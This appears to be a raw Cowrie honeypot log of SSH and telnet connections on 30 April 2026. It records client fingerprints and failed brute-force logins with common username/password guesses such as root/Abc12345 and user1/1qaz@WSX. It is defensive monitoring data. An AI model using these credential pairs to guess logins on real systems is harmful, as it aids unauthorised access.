{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:55.730765Z","src_ip":"192.109.200.78","session":"47c308a78840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35436,"dst_ip":"159.203.135.109","dst_port":22,"session":"47fce94a7a79","protocol":"ssh","message":"New connection: 192.109.200.78:35436 (159.203.135.109:22) [session: 47fce94a7a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:58.525925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:58.532425Z","src_ip":"192.109.200.78","session":"47fce94a7a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:58.618337Z","src_ip":"192.109.200.78","session":"47fce94a7a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:58.937102Z","src_ip":"192.109.200.78","session":"47fce94a7a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:00.339132Z","src_ip":"192.109.200.78","session":"47fce94a7a79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35452,"dst_ip":"159.203.135.109","dst_port":22,"session":"35193eb8cdd9","protocol":"ssh","message":"New connection: 192.109.200.78:35452 (159.203.135.109:22) [session: 35193eb8cdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:02.916519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:02.924680Z","src_ip":"192.109.200.78","session":"35193eb8cdd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:03.003576Z","src_ip":"192.109.200.78","session":"35193eb8cdd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:03.329469Z","src_ip":"192.109.200.78","session":"35193eb8cdd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:04.417357Z","src_ip":"192.109.200.78","session":"35193eb8cdd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35456,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a761482c00f","protocol":"ssh","message":"New connection: 192.109.200.78:35456 (159.203.135.109:22) [session: 1a761482c00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:07.015962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:07.025852Z","src_ip":"192.109.200.78","session":"1a761482c00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:07.109800Z","src_ip":"192.109.200.78","session":"1a761482c00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:07.359262Z","src_ip":"192.109.200.78","session":"1a761482c00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56272,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf98ba25b07","protocol":"ssh","message":"New connection: 170.79.37.88:56272 (159.203.135.109:22) [session: acf98ba25b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:08.193784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:08.199155Z","src_ip":"170.79.37.88","session":"acf98ba25b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:08.303844Z","src_ip":"170.79.37.88","session":"acf98ba25b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:08.443802Z","src_ip":"192.109.200.78","session":"1a761482c00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"password123","message":"login attempt [ts3/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:08.760187Z","src_ip":"170.79.37.88","session":"acf98ba25b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:09.868529Z","src_ip":"170.79.37.88","session":"acf98ba25b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":60142,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb40cd2a284","protocol":"ssh","message":"New connection: 177.54.62.66:60142 (10.17.0.5:22) [session: acb40cd2a284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:10.886265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:10.890378Z","src_ip":"177.54.62.66","session":"acb40cd2a284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.028298Z","src_ip":"177.54.62.66","session":"acb40cd2a284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49430,"dst_ip":"159.203.135.109","dst_port":22,"session":"014ea208a53b","protocol":"ssh","message":"New connection: 192.109.200.78:49430 (159.203.135.109:22) [session: 014ea208a53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.307795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.312605Z","src_ip":"192.109.200.78","session":"014ea208a53b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.27.213.26","src_port":10087,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ee175f6758","protocol":"telnet","message":"New connection: 154.27.213.26:10087 (159.203.135.109:23) [session: d4ee175f6758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.350631Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.395533Z","src_ip":"192.109.200.78","session":"014ea208a53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"asdf","message":"login attempt [test/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.609531Z","src_ip":"177.54.62.66","session":"acb40cd2a284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:11.651738Z","src_ip":"192.109.200.78","session":"014ea208a53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:12.738109Z","src_ip":"192.109.200.78","session":"014ea208a53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:12.749260Z","src_ip":"177.54.62.66","session":"acb40cd2a284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49456,"dst_ip":"159.203.135.109","dst_port":22,"session":"68603e300ce3","protocol":"ssh","message":"New connection: 192.109.200.78:49456 (159.203.135.109:22) [session: 68603e300ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:15.492977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:15.497867Z","src_ip":"192.109.200.78","session":"68603e300ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:15.698251Z","src_ip":"192.109.200.78","session":"68603e300ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:15.988910Z","src_ip":"192.109.200.78","session":"68603e300ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:17.078318Z","src_ip":"192.109.200.78","session":"68603e300ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33916,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e659f693795","protocol":"ssh","message":"New connection: 159.203.92.129:33916 (159.203.135.109:22) [session: 9e659f693795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:17.121092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:17.133792Z","src_ip":"159.203.92.129","session":"9e659f693795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:17.137988Z","src_ip":"159.203.92.129","session":"9e659f693795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Rupesh","password":"Rupesh","message":"login attempt [Rupesh/Rupesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:17.161593Z","src_ip":"159.203.92.129","session":"9e659f693795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:18.325225Z","src_ip":"159.203.92.129","session":"9e659f693795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"597bcc474706","protocol":"ssh","message":"New connection: 192.109.200.78:39836 (159.203.135.109:22) [session: 597bcc474706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:19.907745Z"}
